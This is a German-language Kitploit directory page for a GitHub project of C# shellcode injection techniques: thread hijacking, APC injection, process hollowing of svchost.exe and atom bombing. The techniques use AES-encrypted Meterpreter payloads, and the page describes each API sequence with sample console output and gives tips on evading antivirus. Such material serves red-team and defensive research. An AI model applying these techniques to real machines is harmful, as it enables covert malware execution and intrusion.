Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Shellcode-Injection-Techniques — C#-Implementierungen von Shellcode-Injection-Techniken, einschließlich klassischer Injection, Thread Hijacking, Process Hollowing und Atom Bombing, unter Verwendung von AES-verschlüsselten Meterpreter-Payloads für AV-Evasion-Forschung. | Kitploit
Tools/GitHubGitHub/plackyhacker/shellcode-injection-techniques
ExploitationShellcodePost-ExploitationRed Teaming
GitHubplackyhacker/shellcode-injection-techniques

Shellcode-Injection-Techniques

C#-Implementierungen von Shellcode-Injection-Techniken, einschließlich klassischer Injection, Thread Hijacking, Process Hollowing und Atom Bombing, unter Verwendung von AES-verschlüsselten Meterpreter-Payloads für AV-Evasion-Forschung.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
46692vor 4 JahrenVon Kitploit geprüft

Shellcode Injectionstechniken

Eine Sammlung von C#-Shellcode-Injection-Techniken. Alle Techniken verwenden eine AES-verschlüsselte Meterpreter-Nutzlast.

Ich werde dieses Projekt nach und nach erweitern, während ich mehr Techniken lerne, entdecke oder entwickle.

Hinweis: Das Projekt ist nicht dafür gedacht, unverändert verwendet zu werden. Wenn Sie eine der Techniken einsetzen möchten, haben Sie eine bessere Chance, AV zu umgehen, wenn Sie ein kleineres, maßgeschneidertes Projekt mit Ihrer gewählten Technik erstellen.

Wenn Sie Code aus diesen Repositories verwenden, bleiben Sie legal!

Assembly Injection

Sie können eine PowerShell-Assembly-Injection-Technik verwenden, wenn Sie vermeiden möchten, .Net-Binärdateien auf die Festplatte zu schreiben.

Shellcode Runner

ShellcodeRunner.cs : Diese Technik ist streng genommen keine Injection-Technik (da wir den Shellcode im selben Prozess ausführen), aber sie ist die einfachste aller Techniken. Wir stellen sicher, dass der Shellcode in einem unsafe Kontext eine feste Speicheradresse verwendet. Wir ändern den Schutz der Seite, auf der sich der Shellcode befindet, damit wir ihn ausführen können. Dann verwenden wir eine C#-Delegate-Funktion, um den Shellcode auszuführen.

root@kitploit:~
[+] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0
[+] Executing shellcode - memory address: 0x20D000418E0

Klassische Injection

ClassicInjection.cs : Diese Technik allokiert Speicher im Zielprozess, injiziert den Shellcode und startet einen neuen Thread.

root@kitploit:~
[+] Found process: 24484
[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection
[+] VirtualAllocEx(), assigned: 0x23642220000
[+] WriteProcessMemory() - remote address: 0x23642220000
[+] CreateRemoteThread() - thread handle: 0x380

Thread-Hijacking

ThreadHijack.cs : Diese Technik kapert einen Thread, indem sie Code in den Zielprozess injiziert, den gekaperten Thread anhält, den Instruktionszeiger (RIP) auf unseren injizierten Code setzt und dann den Thread fortsetzt.

root@kitploit:~
[+] Found process: 11508
[+] Using technique: ShellcodeInjectionTechniques.ThreadHijack
[+] Found thread: 9344
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x1D17AB80000
[+] WriteProcessMemory() - remote address: 0x1D17AB80000
[+] SuspendThread() - thread handle: 0x378
[+] GetThreadContext() - thread handle: 0x378
[+] RIP is: 0x7FFA77D21104
[+] SetThreadContext(), RIP assigned: 0x1D17AB80000
[+] ResumeThread() - thread handle: 0x378

Lokales Thread-Hijacking

LocalThreadHijack.cs : Diese Technik erstellt einen neuen lokalen Thread im angehaltenen Zustand, dann kapern wir den Thread, setzen den Instruktionszeiger (RIP) auf unseren injizierten Code und setzen den Thread fort.

root@kitploit:~
[+] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack
[+] CreateThread() - thread handle: 0x374
[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0
[+] GetThreadContext() - thread handle: 0x374
[+] RIP is: 0x7FFA79EE2630
[+] SetThreadContext(), RIP assigned: 0x270800418E0
[+] ResumeThread() - thread handle: 0x374

Asynchrone Prozeduraufruf-Injection

ACPInjection.cs : Diese Technik ähnelt der Thread-Hijacking-Technik. Wir injizieren den Shellcode in einen entfernten Thread und stellen dann ein APC-Objekt in die Warteschlange des Threads. Wenn der Thread in einen aufweckbaren Zustand eintritt (wenn er SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx oder WaitForSingleObjectEx aufruft), führt er unseren Shellcode aus, auf den unser eingereihtes APC-Objekt zeigt.

root@kitploit:~
[+] Found process: 25320
[+] Using technique: ShellcodeInjectionTechniques.APCInjection
[+] Found thread: 23796
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x24E064D0000
[+] WriteProcessMemory() - remote address: 0x24E064D0000
[+] QueueUserAPC() - thread handle: 0x378

Process Hollowing

ProcessHollow.cs : Diese Technik startet einen anderen Prozess im angehaltenen Zustand (svchost.exe), findet den Einstiegspunkt des Hauptthreads, injiziert unseren Shellcode hinein und setzt den Thread dann fort.

root@kitploit:~
[+] Using technique: ShellcodeInjectionTechniques.ProcessHollow
[+] CreateProcess(): C:\Windows\System32\svchost.exe
[+] Pointer to ImageBase: 0xD31E956010
[+] ReadProcessMemory() - image base pointer: 0xD31E956010
[+] ImageBase: 0x7FF6116C0000
[+] ReadProcessMemory() - svchost base: 0x7FF6116C0000
[+] EntryPoint: 0xD31E956010
[+] WriteProcessMemory(): 0x7FF6116C4E80
[+] ResumeThread() - thread handle: 0x454

Interprozess-Mapped-View

InterProcessMappedView.cs : Diese Technik erstellt einen neuen Abschnitt im Speicher, erstellt eine lokale zugeordnete Ansicht des Abschnitts, kopiert unseren Shellcode in die lokale zugeordnete Ansicht und erstellt eine entfernte zugeordnete Ansicht der lokalen zugeordneten Ansicht im Zielprozess. Schließlich erstellen wir einen neuen Thread im Zielprozess mit der zugeordneten Ansicht als Einstiegspunkt.

root@kitploit:~
[+] Found process: 23740
[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView
[+] NtCreateSection() - section handle: 0x37C
[+] NtMapViewOfSection() - local view: 0x20CB8E40000
[+] Marshalling shellcode
[+] NtMapViewOfSection() - remote view: 0x22D90310000
[+] RtlCreateUserThread() - thread handle: 0x384

Atom Bombing

AtomBomb.cs : Diese Technik ist interessant, wie wir Shellcode in den Zielprozess schreiben. Wir verwenden die globale Atomtabelle, die es uns erlaubt, nullterminierte Strings mit einer maximalen Größe von 255 Bytes zu schreiben. Wir finden eine Code-Höhle, in die wir unseren Shellcode schreiben, und verwenden dann APC-Aufrufe, um den Zielprozess zu veranlassen, die Atom-Namen in den Speicher zu lesen. Schließlich verwenden wir ein paar APC-Aufrufe, um den Speicherschutz des Ziels zu ändern und den Shellcode auszuführen.

Mein Code unterscheidet sich von der ursprünglichen Atom Bombing-Technik, die in C/C++ geschrieben ist. Zuerst verketten ich Atom-Namen mit mehreren APCs, um einen Shellcode zu erstellen, der größer als 255 Bytes ist. Ich verwende keine ROP-Ketten, um den Zielprozess zu zwingen, VirtualProtect aufzurufen und dann den Code auszuführen, sondern ich verwende die APC-Warteschlange.

Dieser Code erfordert, dass der Hauptthread in einen aufweckbaren Zustand eintritt, um die APC-Warteschlange auszuführen, und ich räume nach der Shellcode-Ausführung nicht auf, der Zielprozess wird instabil. Ich plane, diese Technik zu verbessern (indem ich nach aufweckbaren Threads suche und nachher aufräume), aber als PoC funktioniert sie gut.

root@kitploit:~
[+] Found process: 14140
[+] Using technique: ShellcodeInjectionTechniques.AtomBomb
[+] Found thread: 5940
[+] OpenThread() - thread handle: 0xD0
[+] FindWritablePages() - number found: 2
[+] Found a suitable code cave - pWritable: 0x2CE60031
[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680
[+] GlobalAddAtom() - ATOM: 0xC091
[+] NtQueueApcThread() - pWritable: 0x2CE60031
[+] GlobalAddAtom() - ATOM: 0xC06F
[+] NtQueueApcThread() - pWritable: 0x2CE600F9
[+] GlobalAddAtom() - ATOM: 0xC080
[+] NtQueueApcThread() - pWritable: 0x2CE601C1
[+] GlobalAddAtom() - ATOM: 0xC088
[+] NtQueueApcThread() - pWritable: 0x2CE60289
[+] GlobalAddAtom() - ATOM: 0xC084
[+] NtQueueApcThread() - pWritable: 0x2CE60351
[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70
[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031
[+] QueueUserAPC() - codeCave: 0x2CE60031

Hinweise

Die Atom-Bombing-Technik platziert nullterminierte Strings in der globalen Atomtabelle, was bedeutet, dass Sie Shellcode verwenden müssen, der keine 0x00-Zeichen enthält.

Denken Sie daran, dass Sie einen Prozess starten müssen, in den Sie injizieren können, außer wenn Sie die Shellcode Runner, die lokale Thread-Hijack-Technik oder die Process-Hollowing-Technik verwenden (diese Technik startet einen neuen Prozess im angehaltenen Zustand).

root@kitploit:~
[!] Unable to find process to inject into!

Wenn Sie die Shellcode Runner, die lokale Thread-Hijack-Technik oder die Process-Hollowing-Technik verwenden, müssen Sie den Code in Program.cs auskommentieren, der nach dem zu injizierenden Prozess sucht:

root@kitploit:~
/*
Process[] processes = Process.GetProcessesByName("notepad");

if(processes.Length == 0)
{
  Debug("[!] Unable to find process to inject into!");
  return;
}

Debug("[+] Found process: {0}", new string[] { processes[0].Id.ToString() });
target = processes[0];
*/
Tool herunterladen